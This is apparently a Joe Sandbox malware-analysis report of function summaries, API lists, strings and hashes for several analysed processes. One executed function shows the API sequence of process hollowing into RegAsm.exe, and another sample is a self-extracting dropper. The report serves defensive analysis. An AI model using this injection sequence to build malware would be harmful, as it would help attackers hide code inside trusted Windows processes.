
Part of subcall function 0054479A: shared_ptr.LIBCMT ref: 005447B6

Strings

cpu, xrefs: 00548A7F
amp, xrefs: 00548A70

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction ID: c357fc185fd0d0c2ab13f0aae50446e79fa8c25504ccd336e0b605c15ec87695
Opcode Fuzzy Hash: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction Fuzzy Hash: EC31C171D002099FCB04DFA9C855AFEBFF4FB89318F14446AE545A7251DBB09A05CF90

Function 005474C7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005474DE
DName::DName.LIBVCRUNTIME ref: 00547563

Strings

A, xrefs: 00547543

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: 06ee90cfee141053c43dfba74f6b70997adfbf9527ee227275fbb6931b272a14
Instruction ID: 9addcbad6f5873f0afdbf4528a381a1217f8c3118273678a691e74b2c0bf0ec2
Opcode Fuzzy Hash: 06ee90cfee141053c43dfba74f6b70997adfbf9527ee227275fbb6931b272a14
Instruction Fuzzy Hash: 42217770908209AFDF15DFA4D845BEC7FB2FB89308F108099F959AB262CB349A45DF40

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 005403B1: _Yarn.LIBCPMT ref: 005403D0
Part of subcall function 005403B1: _Yarn.LIBCPMT ref: 005403F4

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 08151875720c1889fb7cb585fdb4cde389d10aaab35635a87223249a06781e01
Instruction ID: c4dc4d598669589af2a99a2feb27d501d8236bebda44aaeed022bb826c4bf7d4
Opcode Fuzzy Hash: 08151875720c1889fb7cb585fdb4cde389d10aaab35635a87223249a06781e01
Instruction Fuzzy Hash: 5831F9B4E04209DFDB04CF98D995BAEFBB1FF49304F248199D805AB381C775AA41CBA5

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA
eVA, xrefs: 00416567, 00416545, 00416553, 0041655D

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Function 00545C83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00545CC6
DName::operator+=.LIBCMT ref: 00545D06

Strings

void, xrefs: 00545CE8

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+=
String ID: void
API String ID: 2247604192-3531332078
Opcode ID: 1a68211051f628c7579dd7c2b5ea19785b96c7caec05f1625b87c04ae9c91e5a
Instruction ID: 86ceab562e3bbbe26e4ed9f9f4280db0532aa1b9c6a33134869878d4ecb290f3
Opcode Fuzzy Hash: 1a68211051f628c7579dd7c2b5ea19785b96c7caec05f1625b87c04ae9c91e5a
Instruction Fuzzy Hash: 3F114F75C4461AABDB04EFA4C849AFEBFB8FF44708F404555E402A7282EB709745CF90

Function 00415540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041557C

Strings

`XA, xrefs: 00415569
`@, xrefs: 00415572

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: b3cd3e882057a304d07011a6011525f9c3d95c4a9923d7865c33ac802e5dfbd8
Instruction ID: e85f3889cf44484ad4aeb15cb31bc37a3408dea38626999605a26da26ce4f7db
Opcode Fuzzy Hash: b3cd3e882057a304d07011a6011525f9c3d95c4a9923d7865c33ac802e5dfbd8
Instruction Fuzzy Hash: 09F0E7B1D00209ABCF04DFA8D9559AEBFB5AB82301F9041A9E404BF345DA35AB50CB95

Function 004155B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004155EC

Strings

`XA, xrefs: 004155D9
`@, xrefs: 004155E2

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 042742dd755b38df9debef8eaac1b42e65fcb747ae497a32beee8b2e91e2460b
Instruction ID: ac8bd2c2c73b6e669e73f5a945ef107b3c112b9e5b60e653a2e2f097029af4ab
Opcode Fuzzy Hash: 042742dd755b38df9debef8eaac1b42e65fcb747ae497a32beee8b2e91e2460b
Instruction Fuzzy Hash: 17F0F9B1D00109ABCB04DFACDD559AEBFB4EF81302F504199E504BB345DA35AE50CBA5

Function 004157F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041582C

Strings

`XA, xrefs: 00415819
`@, xrefs: 00415822

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 77faa8447db8b5672cd1f324bab44f77f877268a00a05e091e54bafefd520c0c
Instruction ID: a795600c84e5a2230aa09cb0fdf80d71015ab16332979527ac0c1911af7541b4
Opcode Fuzzy Hash: 77faa8447db8b5672cd1f324bab44f77f877268a00a05e091e54bafefd520c0c
Instruction Fuzzy Hash: 7AF04FB1D0010CEBCB04DFACD95599DBFB0AF81301F5041A9E840BB306DA35AE50CBA4

Function 00415780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004157BC

Strings

`XA, xrefs: 004157A9
`@, xrefs: 004157B2

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 0ef4f6f83aae602c43740dde5d0c5c4de6222da824febe23c7f0ff2e0257832c
Instruction ID: 1a31a78fa80c07a8d7acb248c553dba39b370ab897677b3226a4caea10416551
Opcode Fuzzy Hash: 0ef4f6f83aae602c43740dde5d0c5c4de6222da824febe23c7f0ff2e0257832c
Instruction Fuzzy Hash: 9DF0FFB1D00208EBDB04DFE8D95599EBFB5BF41341F204199E404BB355DA31AE54CB95

Function 0054A03B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0054A07B

Strings

{flat}, xrefs: 0054A058
LV, xrefs: 0054A064, 0054A067

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: LV${flat}
API String ID: 1333004437-3196673279
Opcode ID: 805b04ba5fe45dbc9f5681ca1f32bc76c11c8952404d32696616745abd5b6bea
Instruction ID: 581df244eb4b8dd3fa1a1579f2816c30ff9d1bc22d0f2f99640a98acef15d4da
Opcode Fuzzy Hash: 805b04ba5fe45dbc9f5681ca1f32bc76c11c8952404d32696616745abd5b6bea
Instruction Fuzzy Hash: C6F06574140208EFD740DF84C85ABEA3FE4BB46748F108055EA4DDB281C6716984DB96

Function 00415860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041587D

Strings

`XA, xrefs: 0041586A
`@, xrefs: 00415873

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: b121b7825007084f72a668250c6ec73c04e8f7abfb90dd2df6bb63d4bcd2d7de
Instruction ID: 1b512d10f1b53809b4896b4b94fa8dc930351517778a68cbbce2d6e9fa51c490
Opcode Fuzzy Hash: b121b7825007084f72a668250c6ec73c04e8f7abfb90dd2df6bb63d4bcd2d7de
Instruction Fuzzy Hash: EDE06DF5900208EBCB04DF94D9528AEBBB4FB86301F204098F9046B310DA32AF10EBA4

Function 00415A10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00415A43

Strings

`XA, xrefs: 00415A30
`@, xrefs: 00415A39

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 7f0dd8ae74003db1f5393e03acc552383c66290f93d5248da012b4d7d32cac11
Instruction ID: 917120ffc4c835cb29ba13d6cc343380702f6505b1c0e6b7d8ab1d867b41958e
Opcode Fuzzy Hash: 7f0dd8ae74003db1f5393e03acc552383c66290f93d5248da012b4d7d32cac11
Instruction Fuzzy Hash: 2EE01AB4D01108EBCB04EF98D9515ADBFB4EF8630AF200199D944AB301DA316E508BA5

Analysis Process: 2Su0FBbBo66AP291hju1uAp_.exePID: 2412, Parent PID: 5500COMMON

Execution Graph

Execution Coverage:	27.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	24.1%
Total number of Nodes:	29
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02A02519 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02A0248B,02A0247B), ref: 02A02688
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02A0269B
Wow64GetThreadContext.KERNEL32(0000008C,00000000), ref: 02A026B9
ReadProcessMemory.KERNELBASE(00000304,?,02A024CF,00000004,00000000), ref: 02A026DD
VirtualAllocEx.KERNELBASE(00000304,?,?,00003000,00000040), ref: 02A02708
WriteProcessMemory.KERNELBASE(00000304,00000000,?,?,00000000,?), ref: 02A02760
WriteProcessMemory.KERNELBASE(00000304,00400000,?,?,00000000,?,00000028), ref: 02A027AB
WriteProcessMemory.KERNELBASE(00000304,-00000008,?,00000004,00000000), ref: 02A027E9
Wow64SetThreadContext.KERNEL32(0000008C,00D00000), ref: 02A02825
ResumeThread.KERNELBASE(0000008C), ref: 02A02834

Strings

SetThreadContext, xrefs: 02A0263F
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02A02687
aryA, xrefs: 02A0255F
ResumeThread, xrefs: 02A02655
GetP, xrefs: 02A0259B
ReadProcessMemory, xrefs: 02A02606
VirtualAllocEx, xrefs: 02A02619
ress, xrefs: 02A025A3
GetThreadContext, xrefs: 02A025F3
TerminateProcess, xrefs: 02A02717
WriteProcessMemory, xrefs: 02A0262C
VirtualAlloc, xrefs: 02A025E0
Load, xrefs: 02A02557
CreateProcessA, xrefs: 02A025CD

Memory Dump Source

Source File: 00000005.00000002.2172168791.0000000002A02000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a02000_2Su0FBbBo66AP291hju1uAp_.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: cab23bae00839aaf61bc27040f5c541cb8ba76756c54c394bd0b771279a44e5c
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 52B1E37664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA51CB94

Function 00C904D0 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03A03594,?,?,?,?,?,?,00000000,?,?,00C90A0A,?,00000040,?), ref: 00C90E44

Memory Dump Source

Source File: 00000005.00000002.2120575830.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c90000_2Su0FBbBo66AP291hju1uAp_.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18263d5664c428b53f825ff51e356aed145724aa092ece380e06502d9e8111dc
Instruction ID: 33f9588aba7d606dee38307e817bb4688a6f6c8dacfd0ea094cb3c45740a3fb3
Opcode Fuzzy Hash: 18263d5664c428b53f825ff51e356aed145724aa092ece380e06502d9e8111dc
Instruction Fuzzy Hash: D621E2B2900259EFCF10CF9AD984ADEFBB4FB48310F10812AE918A7200C375A910CBA1

Function 00C90DC7 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03A03594,?,?,?,?,?,?,00000000,?,?,00C90A0A,?,00000040,?), ref: 00C90E44

Memory Dump Source

Source File: 00000005.00000002.2120575830.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c90000_2Su0FBbBo66AP291hju1uAp_.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 139b897762cdfb006fc0869f9c1af939000cfea81a0e5f5c0e144441598fcc66
Instruction ID: adef1910d4e568643896b26709e38a61a601ac2edc5b649ac969eb6dd45545f4
Opcode Fuzzy Hash: 139b897762cdfb006fc0869f9c1af939000cfea81a0e5f5c0e144441598fcc66
Instruction Fuzzy Hash: EA21BFB6901259AFCB10CF9AD984ADEFFB4FB48310F10851AE918A7250C375A954CFA1

Function 00C904B0 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE(?,?,?,?,00000000,?,?,00C909B1), ref: 00C90AD4

Memory Dump Source

Source File: 00000005.00000002.2120575830.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c90000_2Su0FBbBo66AP291hju1uAp_.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: b73fe07baea2fbb845fcdd883ad811d3edf686377cfd32f7b67b758485b7636a
Instruction ID: 251fb9e92569d03e510d56f7ca40e93e01d9c200cfd67c8222743e099e5a192e
Opcode Fuzzy Hash: b73fe07baea2fbb845fcdd883ad811d3edf686377cfd32f7b67b758485b7636a
Instruction Fuzzy Hash: EC1176B18043998FCB10DFA9C488BEEBFF4EF48324F24808AC45867251C7746404CBE1

Function 00C904C4 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE(?,?,?,?,00000000,?,?,00C909B1), ref: 00C90AD4

Memory Dump Source

Source File: 00000005.00000002.2120575830.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c90000_2Su0FBbBo66AP291hju1uAp_.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 38130c9a6cf1e81efa4b8ecbf5ddf443775f2c61dcb9364473fbc45c4b2b4828
Instruction ID: c1700bc16f0bebf7d663b9310747599d121db1addd6d1cae1ae41bd371484a56
Opcode Fuzzy Hash: 38130c9a6cf1e81efa4b8ecbf5ddf443775f2c61dcb9364473fbc45c4b2b4828
Instruction Fuzzy Hash: 231112B58003498FCB20DF9AD589BEEBBF4EB48324F208059D519A7340C775A944CFE1

Function 00C90A74 Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE(?,?,?,?,00000000,?,?,00C909B1), ref: 00C90AD4

Memory Dump Source

Source File: 00000005.00000002.2120575830.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c90000_2Su0FBbBo66AP291hju1uAp_.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 6fb02affd28d0490f43ea70cd7651608b6e07fe4e2159496195cd24d6a41660b
Instruction ID: 77449e247919a57144c6db82c23bd05f3f17cce534763723b663c5c4595149a4
Opcode Fuzzy Hash: 6fb02affd28d0490f43ea70cd7651608b6e07fe4e2159496195cd24d6a41660b
Instruction Fuzzy Hash: FA1112B58003498FDB20DF9AD585BDEBBF4EB48324F208059C928A7250C3756944CFE1

Analysis Process: WWMeRq3HihRV9YRKtaMBDHoA.exePID: 600, Parent PID: 5500COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF7B2F8B190 Relevance: 125.7, APIs: 61, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B2F6255C: GetDlgItem.USER32 ref: 00007FF7B2F625AC
Part of subcall function 00007FF7B2F6255C: SetWindowTextW.USER32 ref: 00007FF7B2F625C8

EndDialog.USER32 ref: 00007FF7B2F8B2D0
SetDlgItemTextW.USER32 ref: 00007FF7B2F8B320
GetMessageW.USER32 ref: 00007FF7B2F8B350
IsDialogMessageW.USER32 ref: 00007FF7B2F8B369
TranslateMessage.USER32 ref: 00007FF7B2F8B37B
DispatchMessageW.USER32 ref: 00007FF7B2F8B389
EndDialog.USER32 ref: 00007FF7B2F8B3D3
GetDlgItem.USER32 ref: 00007FF7B2F8B410
SendMessageW.USER32 ref: 00007FF7B2F8B431
SendMessageW.USER32 ref: 00007FF7B2F8B449
SetFocus.USER32 ref: 00007FF7B2F8B452
GetLastError.KERNEL32 ref: 00007FF7B2F8B634
GetLastError.KERNEL32 ref: 00007FF7B2F8B665
GetTickCount.KERNEL32 ref: 00007FF7B2F8B68B
GetLastError.KERNEL32 ref: 00007FF7B2F8B6F5
GetCommandLineW.KERNEL32 ref: 00007FF7B2F8B841
CreateFileMappingW.KERNEL32 ref: 00007FF7B2F8B900
MapViewOfFile.KERNEL32 ref: 00007FF7B2F8B923
ShellExecuteExW.SHELL32 ref: 00007FF7B2F8B95B
Sleep.KERNEL32 ref: 00007FF7B2F8B9B6
UnmapViewOfFile.KERNEL32 ref: 00007FF7B2F8B9DF
CloseHandle.KERNEL32 ref: 00007FF7B2F8B9E8
SetDlgItemTextW.USER32 ref: 00007FF7B2F8BCDE
DialogBoxParamW.USER32 ref: 00007FF7B2F8C0D7
EndDialog.USER32 ref: 00007FF7B2F8C0EF
EnableWindow.USER32 ref: 00007FF7B2F8C2A6
SendMessageW.USER32 ref: 00007FF7B2F8C2F8
WaitForInputIdle.USER32 ref: 00007FF7B2F8B9A3

Part of subcall function 00007FF7B2F7AAE0: LoadStringW.USER32 ref: 00007FF7B2F7AB67
Part of subcall function 00007FF7B2F7AAE0: LoadStringW.USER32 ref: 00007FF7B2F7AB80

SendMessageW.USER32 ref: 00007FF7B2F8BEC3
SendDlgItemMessageW.USER32 ref: 00007FF7B2F8BEEA
GetDlgItem.USER32 ref: 00007FF7B2F8BEF8
SendMessageW.USER32 ref: 00007FF7B2F8BF12
GetDlgItem.USER32 ref: 00007FF7B2F8BF4F
SetDlgItemTextW.USER32 ref: 00007FF7B2F8BFEC
SetDlgItemTextW.USER32 ref: 00007FF7B2F8C004
SetDlgItemTextW.USER32 ref: 00007FF7B2F8C321
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8C363
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8C369
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8C36F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8C375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8C37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8C381
SendDlgItemMessageW.USER32 ref: 00007FF7B2F8C449
EndDialog.USER32 ref: 00007FF7B2F8C463
GetDlgItem.USER32 ref: 00007FF7B2F8C491
SetFocus.USER32 ref: 00007FF7B2F8C49A
SendDlgItemMessageW.USER32 ref: 00007FF7B2F8C53E
FindFirstFileW.KERNEL32 ref: 00007FF7B2F8C562
FindClose.KERNEL32 ref: 00007FF7B2F8C68A
SendDlgItemMessageW.USER32 ref: 00007FF7B2F8C7AF

Part of subcall function 00007FF7B2F6129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B2F61396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8CAA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8CAAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8CAB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8CABB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8CAC1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8CAC7

Strings

p, xrefs: 00007FF7B2F8B7AB
@, xrefs: 00007FF7B2F8B7B6
STARTDLG, xrefs: 00007FF7B2F8B1CA
REPLACEFILEDLG, xrefs: 00007FF7B2F8C3D3
winrarsfxmappingfile.tmp, xrefs: 00007FF7B2F8B8E0
runas, xrefs: 00007FF7B2F8B7C9
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF7B2F8B799
__tmp_rar_sfx_access_check_, xrefs: 00007FF7B2F8B6A9
%s %s, xrefs: 00007FF7B2F8C6D9, 00007FF7B2F8C946
LICENSEDLG, xrefs: 00007FF7B2F8C0C9

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Item$Message$_invalid_parameter_noinfo_noreturn$Send$DialogText$File$ErrorLast$CloseFindFocusLoadStringViewWindow$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleIdleInputLineMappingParamShellSleepTickTranslateUnmapWait
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 2514108016-2702805183
Opcode ID: d12bbf14f29eb6d6a4a56c01ed9d2dd6a8a87e2e303bd652f9e3169d3949fce6
Instruction ID: d304195755edbc53bac7ebf8a50caec47a1e6e7ecbb883c9ec5ec8f9a9c74420
Opcode Fuzzy Hash: d12bbf14f29eb6d6a4a56c01ed9d2dd6a8a87e2e303bd652f9e3169d3949fce6
Instruction Fuzzy Hash: EAD2E861A0A6828DFA12BB2CD8542F9E361EFA7782FC04531DB4D566EDDEBCD544C320

Function 00007FF7B2F7A4AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B2F7A504

Part of subcall function 00007FF7B2F80F68: WideCharToMultiByte.KERNEL32 ref: 00007FF7B2F80F99

SetDlgItemTextW.USER32 ref: 00007FF7B2F7A573
GetWindowRect.USER32 ref: 00007FF7B2F7A5AD
GetClientRect.USER32 ref: 00007FF7B2F7A5BB
GetWindowLongPtrW.USER32 ref: 00007FF7B2F7A66C
GetWindowRect.USER32 ref: 00007FF7B2F7A6B2
SetWindowTextW.USER32 ref: 00007FF7B2F7A6EC
GetSystemMetrics.USER32 ref: 00007FF7B2F7A6F7
GetWindow.USER32 ref: 00007FF7B2F7A708
GetWindowRect.USER32 ref: 00007FF7B2F7A746
GetWindow.USER32 ref: 00007FF7B2F7A808

Strings

CAPTION, xrefs: 00007FF7B2F7A6CF
$%s:, xrefs: 00007FF7B2F7A4EF

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

